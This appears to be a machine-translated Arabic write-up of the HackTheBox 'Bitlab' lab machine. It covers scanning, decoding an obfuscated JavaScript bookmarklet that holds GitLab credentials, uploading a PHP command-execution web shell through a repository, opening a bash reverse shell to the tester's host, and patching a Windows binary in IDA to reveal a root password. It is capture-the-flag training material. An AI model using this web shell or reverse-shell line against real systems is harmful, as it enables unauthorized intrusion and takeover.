في هذه المقالة ، سأبدأ في نشر حلول تم إرسالها
لمزيد من
المعالجة من موقع
HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، سنتعامل مع بعض عمليات التعتيم على جافا سكريبت ، ونقوم بتحميل الباب الخلفي من خلال مستودع Git ، وتصحيح التطبيق 32.
الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر يعمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك المطاف على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمان المعلومات :)
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
استكشاف
ميناء المسح الضوئي
هذا الجهاز لديه عنوان IP 10.10.10.114 ، الذي أقوم بإضافته إلى / etc / hosts.
10.10.10.114 bitlab.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأن الأمر يستغرق وقتًا طويلاً لمسح جميع المنافذ باستخدام nmap ، فسأفعل ذلك أولاً باستخدام masscan. نحن نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

بعد ذلك ، تحتاج إلى جمع مزيد من المعلومات حول المنافذ التي نعرفها.
nmap -A bitlab.htb -p22,80

على النحو التالي من تقرير nmap ، يتم تشغيل SSH وخادم الويب على المضيف. وعلى خادم الويب هناك ملف robots.txt. بعد الاطلاع على الدلائل من هذه القائمة ، نلاحظ أن gitlab يعمل وهناك دليل مساعدة غير مرتبط به.

بالانتقال إلى صفحة الإشارات المرجعية لدينا عدة روابط.

JS
تشير جميعها إلى موقع منتج ما ، باستثناء المنتج الأخير ، الذي لا يحتوي على عنوان ، ولكن رمز JS.

ماذا هذا القانون غامض.
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
للحصول على رمز أكثر قابلية للقراءة ، يمكنك استخدام
الموقع التالي .

بعد قليل من تنقيح الرمز ، نحصل على الإرشادات التالية.
document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x";
بوابة
مع بيانات المصادقة هذه ، نحن مخولون في gitlab. هناك نجد اثنين من الملامح.

يمكنك أيضًا العثور على مشروع واحد يوجد فيه اتصال بقاعدة البيانات ، في الكود الذي أقدم به جميع البيانات الخاصة بالاتصال.

التحقق من الملف الشخصي لا نجد شيئًا مثيرًا للاهتمام.

الناشر لديه فقط رمز php.

من هذا الرمز ، يصبح من الواضح أننا إذا وضعنا ملفًا في الملف الشخصي ، فسيتم نشره على الخادم.
نقطة الدخول
نحن بحاجة إلى وضع مستتر php. على سبيل المثال ، واحدة ستتلقى وتنفذ الأوامر.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
للقيام بذلك ، افتح ملف التعريف وإنشاء ملف جديد.


وبعد إضافة ملفنا سيظهر في المستودع.

الآن نحن نختبر الباب الخلفي.

الآن نحصل على قذيفة كاملة.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

ونحن نرى اتصال عكسي لمضيفنا.

USER
بمجرد الوصول إلى المضيف ، من الضروري التحقق من البيانات التي تم شراؤها مسبقًا. هذه هي البيانات للوصول إلى قاعدة البيانات.
فتح مترجم PHP بشكل تفاعلي. نستخدم الكود الموجود وننظر إلى البيانات الموجودة. كلمة مرور المستخدم في base64 ، فك تشفيرها.

لذلك اكتشفنا كلمة المرور ، والتي من الواضح أنه يمكنها الاتصال عبر SSH. لكن هذا لم ينجح ، لأن base64 هي كلمة المرور)).

ROOT
عند النظر حول السيارة ، نجد ملف exe في الدليل الرئيسي للمستخدم.

نقوم بنسخه إلى مضيفنا لتحليله.
scp clave@10.10.10.114:~/RemoteConnection.exe .
بعد ذلك ، افتح الملف في IDA Pro. بالتمرير خلال الوظيفة الرئيسية الرئيسية ، يمكنك العثور على مقارنة للمتغير باسم المستخدم وإنشاء عملية باستخدام المعجون - برنامج لاتصالات الشبكة.

يمكننا أن نفترض أن الاتصال يحدث مع توفير بيانات المصادقة ، ونحن بحاجة إلى العثور عليها. سيتم تمرير بيانات الاتصال المعجون كمعلمة ، أي متغير v3.
يمكنك رؤية السطر النهائي أثناء تصحيح الأخطاء ، ولكن في IDA يتعطل الملف 32 بت. عن طريق تصحيح الأخطاء خطوة بخطوة ، نفهم أن هذا يحدث بعد استدعاء GetUserNameW. نمضي على النحو التالي.
ضع BP على جزء مقارنة الاسم.

الآن نضع BP قبل تحميل المعلمات لوظيفة GetUserNameW.

قم بتشغيل البرنامج في المصحح. ستتوقف عملية التصحيح قبل استدعاء الوظيفة التي نحتاجها.

الآن تصحيح الرمز. بدلاً من تحميل المعلمات واستدعاء الوظيفة ، تحتاج إلى وضع تعليمات NOP. يمكنني استخدام البرنامج المساعد Keypatch لهذا الغرض.

الآن رمز يشبه هذا.

دعنا نواصل تصحيح البرنامج حتى يتوقف عند مقارنة الاسم. في هذه المرحلة ، سيتم بالفعل تحميل عنوان سلسلة المعلمة في سجل EAX ليتم تمريره كمعلمة ShellExecuteW.

انقر الآن على السهم (القفز في التفكيك) بجوار سجل EAX. سيتيح لك ذلك الانتقال إلى العنوان من EAX في الإطار الرئيسي للمؤسسة.

يحتوي هذا العنوان على سلسلة المعلمة. كما ترون ، يحتوي على النص الصحيح بشكل متماثل "-ssh root ...". لكن كل حرف يمثله 2 بايت. لجمع السلسلة بسهولة ، اضغط على Alt + A.

وفي هذه النافذة ، حدد Unicode C-Style (16 بت). ثم نلاحظ سلسلة تجميعها بشكل صحيح.

يحتوي هذا السطر على كلمة مرور الجذر. نتواصل عبر ssh والتقاط الرمز المميز.

يمكنك الانضمام إلينا على
Telegram . فلنجمع مجتمعًا سيكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي من مشكلات تكنولوجيا المعلومات وأمن المعلومات.